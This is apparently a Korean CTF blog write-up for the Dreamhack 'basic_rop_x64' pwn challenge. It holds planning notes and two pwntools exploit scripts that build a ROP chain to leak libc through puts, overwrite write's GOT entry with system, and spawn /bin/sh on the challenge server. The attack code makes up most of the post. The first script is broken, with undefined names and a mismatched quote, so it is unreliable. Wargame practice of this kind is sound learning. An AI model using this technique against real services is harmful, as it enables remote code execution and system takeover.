Wargame/pwn

Dreamhack-basic_rop_x64

EYEN 2023. 2. 17. 00:50

목적
쉘따기 = system(/bin/sh)
인자가 /bin/sh  일 때, 실행되는 함수가 system
인자 자리 하나, 실행되는 함수 자리 하나를 조작할 수 있어야함.
 
 
이때 puts 활용해서 ret2main
 
이때 pop rdi ret rsi ret
으로 rdi를 0으로, rsi를 buf으로, ret을 read@got로 덮어서 read 한번 더 쓰고(/bin/sh)
rdi를 1로, rsi를 write@got 주소로, ret을 read@got로 덮어서 read 한 번 더 쓰고(system)
그리고 write@got 실행
 
rdi를 0으로 rsi를 read@got로 ret을 puts@plt으로 덮어서 한번 되돌아가
그리고 메인 함수 주소를 적어
 
from pwn import *
 
p=remote("host3.dreamhack.games" , )
e=ELF("./libc.so.6")
 
#func
read_got=e.got['read']
puts_plt=e.plt['puts']
write_got=e.got['write']
 
p.recv(0x40)
read=u64(p.recv(6)+b'\x00'*2) # 왜 6만..
libc=read-libc.symbol['read']
system=libc+libc.symbol['system']
#ROPgadget
pop_rdi=0x400883
pop_rsi_r15=0x400881
 
binsh=e.bss()
 
#start ROPchain
payload=b'a'*0x48
payload+=p64(pop_rdi)
payload+=p64(read_got)
payload+=p64(puts_plt)
 
#bss
payload+=p64(pop_rdi)
payload+=p64(0)
payload+=p64(pop_rsi_r15)
payload+=p64(binsh)
payload+=p64(0)
payload+=p64(read_plt)
 
#rGOT Overwrite
payload+=p64(pop_rdi)
payload+=p64(0)
payload+=p64(pop_rsi_r15)
payload+=p64(write_got)
payload+=p64(0)
payload+=p64(read_plt)
 
payload+=ret
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(write_plt)
 
p.send(payload)
p.recv(0x40)
read=u64(p.recv(6).ljust(8,b'\x00")) # 왜 6만..
libcbase=read-libc.symbol['read']
system=libcbase+libc.symbol['system']
 
#system('/bin/sh')
p.send(payload)
p.sendline(b'/bin/sh'+p64(write_got))
 

더보기

from pwn import *

def slog(name,addr):return success(": ".join([name,hex(addr)]))

p=remote("host3.dreamhack.games", 10508)
e=ELF("./basic_rop_x64")
libc=ELF('./libc.so.6')
r=ROP(e)

context.log_level='debug'

read_got=e.got['read']
puts_plt=e.plt['puts']
main=e.symbols['main']
read_plt=e.plt['read']
binsh=e.bss()
write_got=e.got['write']
write_plt=e.plt['write']
ret=r.find_gadget(['ret'])[0]

#ROPgadget
pop_rdi=0x400883
pop_rsi_r15=0x400881

#puts(read_got)
got=b'a'*0x48 #read,write
got+=p64(pop_rdi)
got+=p64(read_got)
got+=p64(puts_plt)

#read(0,binsh,0) /bin/sh가 들어갈 공간을 지정해줌
got+=p64(pop_rdi)
got+=p64(0)
got+=p64(pop_rsi_r15)
got+=p64(binsh)
got+=p64(0)
got+=p64(read_plt)

#read(0,write_got,0) write_got이 들어갈 공간을 지정해줌
got+=p64(pop_rdi)
got+=p64(0)
got+=p64(pop_rsi_r15)
got+=p64(write_got)
got+=p64(0)
got+=p64(read_plt)

 

#인자들이 자기 자리에 들어갔으니 system(/bin/sh) 실행
got+=p64(pop_rdi)
got+=p64(binsh)
got+=p64(write_plt)

 

#read 주소를 가져오는 부분인데 이걸 중간에 집어넣으면 EOF 에러 발생.,.,., 어쨌든 한번 입력받을 때 ropchain을 다 보내야 스택에 차곡 저장이 될텐데 그때 앞에 있는 페이로드 먼저 보낸 뒤 다른 함수를 실행시켜버림으로써 그 뒤의 페이로드는 write될 때 동작이되어 스택에 저장되질 않음


p.send(got)
p.recv(0x40)
read=u64(p.recv(6).ljust(8,b'\x00'))
libcbase=read-libc.symbols['read']
system=libcbase+libc.symbols['system']

slog('system',system)

p.send(b'/bin/sh\x00')
p.send(p64(system))


p.interactive()